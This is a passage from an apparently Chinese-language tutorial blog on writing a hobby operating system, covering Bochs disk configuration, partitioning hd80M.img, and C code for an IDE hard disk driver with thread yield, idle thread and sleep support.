class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"># Configuration file for Bochs</span><br><span class="line"># 设置Bochs在运行过程中能够使用的内存: 32 MB</span><br><span class="line">megs: 32</span><br><span class="line"></span><br><span class="line"># 设置真实机器的BIOS和VGA BIOS</span><br><span class="line"># 修改成你们对应的地址</span><br><span class="line"></span><br><span class="line">romimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/BIOS-bochs-latest</span><br><span class="line">vgaromimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/VGABIOS-lgpl-latest</span><br><span class="line"></span><br><span class="line"># 设置Bochs所使用的磁盘</span><br><span class="line"># 设置启动盘符</span><br><span class="line">boot: disk</span><br><span class="line"></span><br><span class="line"># 设置日志文件的输出</span><br><span class="line">log: bochs.out</span><br><span class="line"></span><br><span class="line"># 开启或关闭某些功能，修改成你们对应的地址</span><br><span class="line">mouse: enabled=0</span><br><span class="line">keyboard:keymap=/home/guang/soft/bochs-2.6.2/share/bochs/keymaps/x11-pc-us.map</span><br><span class="line"></span><br><span class="line"># 硬盘设置</span><br><span class="line">ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14</span><br><span class="line">ata0-master: type=disk, path=&quot;hd60M.img&quot;, mode=flat, cylinders=121, heads=16, spt=63</span><br><span class="line">ata0-slave: type=disk, path=&quot;hd80M.img&quot;, mode=flat, cylinders=162, heads=16, spt=63</span><br><span class="line"></span><br><span class="line"># 增加gdb支持</span><br><span class="line"># gdbstub: enabled=1, port=1234, text_base=0, data_base=0, bss_base=0</span><br></pre></td></tr></table></figure><p>再次运行bochs测试，成功写入</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;bochs:1&gt; c</span><br><span class="line">^CNext at t=46045793</span><br><span class="line">(0) [0x000000003d5c] 0008:c0003d5c (unk. ctxt): mov dword ptr ss:[ebp-4], eax ; 8945fc</span><br><span class="line">&lt;bochs:2&gt; xp/b 0x475 </span><br><span class="line">[bochs]:</span><br><span class="line">0x00000475 &lt;bogus+       0&gt;:0x02 // 安装成功</span><br><span class="line">&lt;bochs:3&gt;</span><br></pre></td></tr></table></figure><h2 id="创建磁盘分区表"><a href="#创建磁盘分区表" class="headerlink" title="创建磁盘分区表"></a>创建磁盘分区表</h2><p>首先我们需要配置hd80M.img，将其分区，因Ubuntu 16.04需要给 EFI 代码留磁盘最开始的1M空间，所以分区是从2048开始的，具体的分区结果如下所示，其中5-9分区属性类型设为未知</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">设备         启动 Start 末尾 扇区   Size Id 类型</span><br><span class="line">./hd80M.img1       2048   4096   2049     1M 83 Linux</span><br><span class="line">./hd80M.img4       6144 163295 157152  76.8M  5 扩展</span><br><span class="line">./hd80M.img5       8192   9000    809 404.5K 66 未知</span><br><span class="line">./hd80M.img6      11049  12000    952   476K 66 未知</span><br><span class="line">./hd80M.img7      14049  14500    452   226K 66 未知</span><br><span class="line">./hd80M.img8      16549  17000    452   226K 66 未知</span><br><span class="line">./hd80M.img9      19049  20000    952   476K 66 未知</span><br></pre></td></tr></table></figure><h2 id="编写硬盘驱动"><a href="#编写硬盘驱动" class="headerlink" title="编写硬盘驱动"></a>编写硬盘驱动</h2><p>现在硬盘上有两个ata通道，第一个通道其中断信号都是挂在8259A的IRQ14上的，第二个通道接在8259A从片的IRQ15上。来自8259A从片的中断都是由8259A主片想处理器传达的，8259A从片是级联在主片的IRQ2接口的，为了让处理器响应8259A从片的中断，需要我们修改interrupt文件，打开中断</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 初始化可编程中断控制器8259A */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">pic_init</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">  [...]</span><br><span class="line">  <span class="comment">/* IRQ2用于级联从片,必须打开,否则无法响应从片上的中断</span></span><br><span class="line"><span class="comment">  主片上打开的中断有IRQ0的时钟,IRQ1的键盘和级联从片的IRQ2,其它全部关闭 */</span></span><br><span class="line">   outb (PIC_M_DATA, <span class="number">0xf8</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 打开从片上的IRQ14,此引脚接收硬盘控制器的中断 */</span></span><br><span class="line">   outb (PIC_S_DATA, <span class="number">0xbf</span>);</span><br><span class="line"></span><br><span class="line">   put_str(<span class="string">"   pic_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们在内核实现一个内核打印函数，这样就不需要用console系列打印了，具体实现和printf很相似就不详细说明了</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 供内核使用的格式化输出函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">printk</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span>* format, ...)</span> </span>&#123;</span><br><span class="line">   va_list args;</span><br><span class="line">   va_start(args, format);</span><br><span class="line">   <span class="keyword">char</span> buf[<span class="number">1024</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">   <span class="built_in">vsprintf</span>(buf, format, args);</span><br><span class="line">   va_end(args);</span><br><span class="line">   console_put_str(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来具体实现硬盘驱动，首先我们需要引入结构体，具体实现在device目录下创建ide文件</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 分区结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">partition</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> start_lba; <span class="comment">// 起始扇区</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_cnt; <span class="comment">// 扇区数</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">disk</span>* <span class="title">my_disk</span>;</span> <span class="comment">// 分区所属的硬盘</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span> <span class="title">part_tag</span>;</span> <span class="comment">// 用于队列中的标记</span></span><br><span class="line">   <span class="keyword">char</span> name[<span class="number">8</span>]; <span class="comment">// 分区名称</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">super_block</span>* <span class="title">sb</span>;</span> <span class="comment">// 本分区的超级块</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">bitmap</span> <span class="title">block_bitmap</span>;</span> <span class="comment">// 块位图</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">bitmap</span> <span class="title">inode_bitmap</span>;</span> <span class="comment">// i结点位图</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list</span> <span class="title">open_inodes</span>;</span> <span class="comment">// 本分区打开的i结点队列</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 硬盘结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">disk</span> &#123;</span></span><br><span class="line">   <span class="keyword">char</span> name[<span class="number">8</span>];   <span class="comment">// 本硬盘的名称，如sda等</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span>* <span class="title">my_channel</span>;</span>   <span class="comment">// 此块硬盘归属于哪个ide通道</span></span><br><span class="line">   <span class="keyword">uint8_t</span> dev_no;   <span class="comment">// 本硬盘是主0还是从1</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">partition</span> <span class="title">prim_parts</span>[4];</span>   <span class="comment">// 主分区顶多是4个</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">partition</span> <span class="title">logic_parts</span>[8];</span>   <span class="comment">// 逻辑分区数量无限,但总得有个支持的上限,那就支持8个</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* ata通道结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span> &#123;</span></span><br><span class="line">   <span class="keyword">char</span> name[<span class="number">8</span>]; <span class="comment">// 本ata通道名称 </span></span><br><span class="line">   <span class="keyword">uint16_t</span> port_base; <span class="comment">// 本通道的起始端口号</span></span><br><span class="line">   <span class="keyword">uint8_t</span> irq_no; <span class="comment">// 本通道所用的中断号</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">lock</span> <span class="title">lock</span>;</span> <span class="comment">// 通道锁</span></span><br><span class="line">   <span class="keyword">bool</span> expecting_intr; <span class="comment">// 表示等待硬盘的中断</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">semaphore</span> <span class="title">disk_done</span>;</span> <span class="comment">// 用于阻塞、唤醒驱动程序</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">disk</span> <span class="title">devices</span>[2];</span> <span class="comment">// 一个通道上连接两个硬盘，一主一从</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>具体实现中我们用到了三个操作命令，分别是identify指令、读扇区指令、写扇区指令</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 一些硬盘操作的指令 */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CMD_IDENTIFY   0xec    <span class="comment">// identify指令</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CMD_READ_SECTOR   0x20     <span class="comment">// 读扇区指令</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> CMD_WRITE_SECTOR   0x30    <span class="comment">// 写扇区指令</span></span></span><br></pre></td></tr></table></figure><p>初始化函数如下，通过获取0x475物理地址处的内容得到硬盘数量，然后通过<code>DIV_ROUND_UP</code>向上取正的宏计算通道数，然后再循环处理每一个通道</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">uint8_t</span> channel_cnt;   <span class="comment">// 按硬盘数计算的通道数</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span> <span class="title">channels</span>[2];</span> <span class="comment">// 有两个ide通道</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 硬盘数据结构初始化 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ide_init</span><span class="params">()</span> </span>&#123;</span><br><span class="line">   printk(<span class="string">"ide_init start\n"</span>);</span><br><span class="line">   <span class="keyword">uint8_t</span> hd_cnt = *((<span class="keyword">uint8_t</span>*)(<span class="number">0x475</span>));      <span class="comment">// 获取硬盘的数量</span></span><br><span class="line">   ASSERT(hd_cnt &gt; <span class="number">0</span>);</span><br><span class="line">   channel_cnt = DIV_ROUND_UP(hd_cnt, <span class="number">2</span>);   <span class="comment">// 一个ide通道上有两个硬盘,根据硬盘数量反推有几个ide通道</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span>* <span class="title">channel</span>;</span></span><br><span class="line">   <span class="keyword">uint8_t</span> channel_no = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 处理每个通道上的硬盘 */</span></span><br><span class="line">   <span class="keyword">while</span> (channel_no &lt; channel_cnt) &#123;</span><br><span class="line">      channel = &amp;channels[channel_no];</span><br><span class="line">      <span class="built_in">sprintf</span>(channel-&gt;name, <span class="string">"ide%d"</span>, channel_no);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 为每个ide通道初始化端口基址及中断向量 */</span></span><br><span class="line">      <span class="keyword">switch</span> (channel_no) &#123;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">0</span>:</span><br><span class="line">    channel-&gt;port_base = <span class="number">0x1f0</span>;   <span class="comment">// ide0通道的起始端口号是0x1f0</span></span><br><span class="line">    channel-&gt;irq_no = <span class="number">0x20</span> + <span class="number">14</span>;   <span class="comment">// 从片8259a上倒数第二的中断引脚,温盘,也就是ide0通道的的中断向量号</span></span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">    channel-&gt;port_base = <span class="number">0x170</span>;   <span class="comment">// ide1通道的起始端口号是0x170</span></span><br><span class="line">    channel-&gt;irq_no = <span class="number">0x20</span> + <span class="number">15</span>;   <span class="comment">// 从8259A上的最后一个中断引脚,我们用来响应ide1通道上的硬盘中断</span></span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      channel-&gt;expecting_intr = <span class="literal">false</span>;   <span class="comment">// 未向硬盘写入指令时不期待硬盘的中断</span></span><br><span class="line">      lock_init(&amp;channel-&gt;lock);     </span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 初始化为0,目的是向硬盘控制器请求数据后,硬盘驱动sema_down此信号量会阻塞线程,</span></span><br><span class="line"><span class="comment">   直到硬盘完成后通过发中断,由中断处理程序将此信号量sema_up,唤醒线程. */</span></span><br><span class="line">      sema_init(&amp;channel-&gt;disk_done, <span class="number">0</span>);</span><br><span class="line">      channel_no++;   <span class="comment">// 下一个channel</span></span><br><span class="line">   &#125;</span><br><span class="line">   printk(<span class="string">"ide_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="完善基础构件"><a href="#完善基础构件" class="headerlink" title="完善基础构件"></a>完善基础构件</h2><p>在下一步之前我们需要完善一些基础构建，首先我们需要实现thread_yield，其作用是主动把CPU使用权让出来，代码添加在thread文件中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 主动让出cpu,换其它线程运行 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">thread_yield</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span>   </span><br><span class="line">   <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">   ASSERT(!elem_find(&amp;thread_ready_list, &amp;cur-&gt;general_tag));</span><br><span class="line">   list_append(&amp;thread_ready_list, &amp;cur-&gt;general_tag); <span class="comment">// 当前任务添加到就绪队列队尾</span></span><br><span class="line">   cur-&gt;status = TASK_READY; <span class="comment">// 设置标志</span></span><br><span class="line">   schedule(); <span class="comment">// 调度</span></span><br><span class="line">   intr_set_status(old_status);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下一步实现idle线程，此线程作用就是当就绪队列中没有任务时运行，以免系统悬停在其他地方</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 系统空闲时运行的线程 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">idle</span><span class="params">(<span class="keyword">void</span>* arg UNUSED)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      thread_block(TASK_BLOCKED);     </span><br><span class="line">      <span class="comment">//执行hlt时必须要保证目前处在开中断的情况下</span></span><br><span class="line">      <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"sti; hlt"</span> : : : <span class="string">"memory"</span>)</span></span>; <span class="comment">// hlt指令使处理器挂起</span></span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来我们需要实现休眠函数，也就是经常使用的sleep函数，为的是当磁盘操作的时候使CPU去执行其他任务，避免资源浪费，改动在timer文件中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> IRQ0_FREQUENCY   100</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> mil_seconds_per_intr (1000 / IRQ0_FREQUENCY) <span class="comment">// 每秒100次中断</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">uint32_t</span> ticks;          <span class="comment">// ticks是内核自中断开启以来总共的嘀嗒数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 以tick为单位的sleep,任何时间形式的sleep会转换此ticks形式 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">ticks_to_sleep</span><span class="params">(<span class="keyword">uint32_t</span> sleep_ticks)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> start_tick = ticks;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 若间隔的ticks数不够便让出cpu */</span></span><br><span class="line">   <span class="keyword">while</span> (ticks - start_tick &lt; sleep_ticks) &#123;</span><br><span class="line">      thread_yield();</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 以毫秒为单位的sleep   1秒= 1000毫秒 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mtime_sleep</span><span class="params">(<span class="keyword">uint32_t</span> m_seconds)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">uint32_t</span> sleep_ticks = DIV_ROUND_UP(m_seconds, mil_seconds_per_intr); <span class="comment">// 毫秒转化为时钟滴答数</span></span><br><span class="line">  ASSERT(sleep_ticks &gt; <span class="number">0</span>);</span><br><span class="line">  ticks_to_sleep(sleep_ticks); <span class="comment">// 底层还是调用ticks_to_sleep</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来继续实现硬盘中断处理函数，下面是选择主盘和从盘的函数，原理就是判断DEV位</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 选择读写的硬盘 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">select_disk</span><span class="params">(struct disk* hd)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint8_t</span> reg_device = BIT_DEV_MBS | BIT_DEV_LBA;</span><br><span class="line">   <span class="keyword">if</span> (hd-&gt;dev_no == <span class="number">1</span>) &#123;<span class="comment">// 若是从盘就置DEV位为1</span></span><br><span class="line">      reg_device |= BIT_DEV_DEV;</span><br><span class="line">   &#125;</span><br><span class="line">   outb(reg_dev(hd-&gt;my_channel), reg_device);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>写入硬盘控制器函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 向硬盘控制器写入起始扇区地址及要读写的扇区数 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">select_sector</span><span class="params">(struct disk* hd, <span class="keyword">uint32_t</span> lba, <span class="keyword">uint8_t</span> sec_cnt)</span> </span>&#123;</span><br><span class="line">   ASSERT(lba &lt;= max_lba);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span>* <span class="title">channel</span> = <span class="title">hd</span>-&gt;<span class="title">my_channel</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 写入要读写的扇区数*/</span></span><br><span class="line">   outb(reg_sect_cnt(channel), sec_cnt); <span class="comment">// 如果sec_cnt为0,则表示写入256个扇区</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 写入lba地址(即扇区号) */</span></span><br><span class="line">   outb(reg_lba_l(channel), lba); <span class="comment">// lba地址的低8位,不用单独取出低8位.outb函数中的汇编指令outb %b0, %w1会只用al。</span></span><br><span class="line">   outb(reg_lba_m(channel), lba &gt;&gt; <span class="number">8</span>); <span class="comment">// lba地址的8~15位</span></span><br><span class="line">   outb(reg_lba_h(channel), lba &gt;&gt; <span class="number">16</span>); <span class="comment">// lba地址的16~23位</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 因为lba地址的24~27位要存储在device寄存器的0～3位,</span></span><br><span class="line"><span class="comment">    * 无法单独写入这4位,所以在此处把device寄存器再重新写入一次*/</span></span><br><span class="line">   outb(reg_dev(channel), BIT_DEV_MBS | BIT_DEV_LBA | (hd-&gt;dev_no == <span class="number">1</span> ? BIT_DEV_DEV : <span class="number">0</span>) | lba &gt;&gt; <span class="number">24</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>命令发送函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 向通道channel发命令cmd */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">cmd_out</span><span class="params">(struct ide_channel* channel, <span class="keyword">uint8_t</span> cmd)</span> </span>&#123;</span><br><span class="line"><span class="comment">/* 只要向硬盘发出了命令便将此标记置为true,硬盘中断处理程序需要根据它来判断 */</span></span><br><span class="line">   channel-&gt;expecting_intr = <span class="literal">true</span>;</span><br><span class="line">   outb(reg_cmd(channel), cmd);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>读写硬盘中数据的函数和等待函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 硬盘读入sec_cnt个扇区的数据到buf */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">read_from_sector</span><span class="params">(struct disk* hd, <span class="keyword">void</span>* buf, <span class="keyword">uint8_t</span> sec_cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> size_in_byte;</span><br><span class="line">   <span class="keyword">if</span> (sec_cnt == <span class="number">0</span>) &#123;</span><br><span class="line">   <span class="comment">/* 因为sec_cnt是8位变量,由主调函数将其赋值时,若为256则会将最高位的1丢掉变为0 */</span></span><br><span class="line">      size_in_byte = <span class="number">256</span> * <span class="number">512</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">      size_in_byte = sec_cnt * <span class="number">512</span>; </span><br><span class="line">   &#125;</span><br><span class="line">   insw(reg_data(hd-&gt;my_channel), buf, size_in_byte / <span class="number">2</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将buf中sec_cnt扇区的数据写入硬盘 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">write2sector</span><span class="params">(struct disk* hd, <span class="keyword">void</span>* buf, <span class="keyword">uint8_t</span> sec_cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> size_in_byte;</span><br><span class="line">   <span class="keyword">if</span> (sec_cnt == <span class="number">0</span>) &#123;</span><br><span class="line">   <span class="comment">/* 因为sec_cnt是8位变量,由主调函数将其赋值时,若为256则会将最高位的1丢掉变为0 */</span></span><br><span class="line">      size_in_byte = <span class="number">256</span> * <span class="number">512</span>;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">      size_in_byte = sec_cnt * <span class="number">512</span>; </span><br><span class="line">   &#125;</span><br><span class="line">   outsw(reg_data(hd-&gt;my_channel), buf, size_in_byte / <span class="number">2</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 等待30秒 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">busy_wait</span><span class="params">(struct disk* hd)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">ide_channel</span>* <span class="title">channel</span> = <span class="title">hd</span>-&gt;<span class="title">my_channel</span>;</span></span><br><span class="line">   <span class="keyword">uint16_t</span> time_limit = <span class="number">30</span> * <span class="number">1000</span>;     <span class="comment">// 可以等待30000毫秒</span></span><br><span class="line">   <span class="keyword">while</span> (time_limit -= <span class="number">10</span> &gt;= <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (!(inb(reg_status(channel)) &amp; BIT_STAT_BSY)) &#123;</span><br><span class="line"> <span class="keyword">return</span> (inb(reg_status(channel)) &amp; BIT_STAT_DRQ);</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> mtime_sleep(<span class="number">10</span>);     <span class="comment">// 睡眠10毫秒</span></span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>读写硬盘函数和中断处理函数，注意和上面函数的区别，下面的函数是从硬盘hd的扇区地址lba处读取sec_cnt个扇区到buf，上面的函数是从硬盘hd中读入sec_cnt个扇区的数据到buf</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span 